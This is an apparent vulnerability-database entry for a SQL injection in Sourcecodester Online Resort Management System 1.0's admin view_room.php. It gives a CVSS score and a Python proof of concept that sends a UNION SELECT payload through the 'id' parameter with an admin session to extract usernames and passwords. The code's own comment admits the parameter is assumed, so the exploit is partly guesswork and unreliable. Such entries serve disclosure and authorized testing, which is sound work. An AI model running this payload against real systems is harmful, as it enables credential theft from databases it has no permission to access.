Sourcecodester Online Resort Management System v1.0 is vulnerable to SQL injection in /orms/admin/rooms/view_room.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Sourcecodester Online Resort Management System 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL configuration
target_url = "http://target-host/orms/admin/rooms/view_room.php"
# Vulnerable parameter (assumed based on common patterns in this file)
# The application expects an ID, but fails to sanitize it.
payload = "1 UNION SELECT NULL, username, password, NULL FROM users-- -"
# Cookies simulating a high-privilege (Admin) authenticated session
# Exploitation requires PR:H (High Privileges)
cookies = {
"PHPSESSID": "valid_admin_session_cookie_here"
}
params = {
"id": payload
}
try:
response = requests.get(target_url, params=params, cookies=cookies, timeout=10)
# Check if the SQL query executed successfully and leaked data
if response.status_code == 200:
# Analyze response content for database artifacts
if "admin" in response.text or "root" in response.text:
print("[+] Vulnerability confirmed! Data extracted.")
print(response.text[:500]) # Print snippet of response
else:
print("[-] Payload executed, but no obvious data leaked in response.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[!] Error connecting to target: {e}")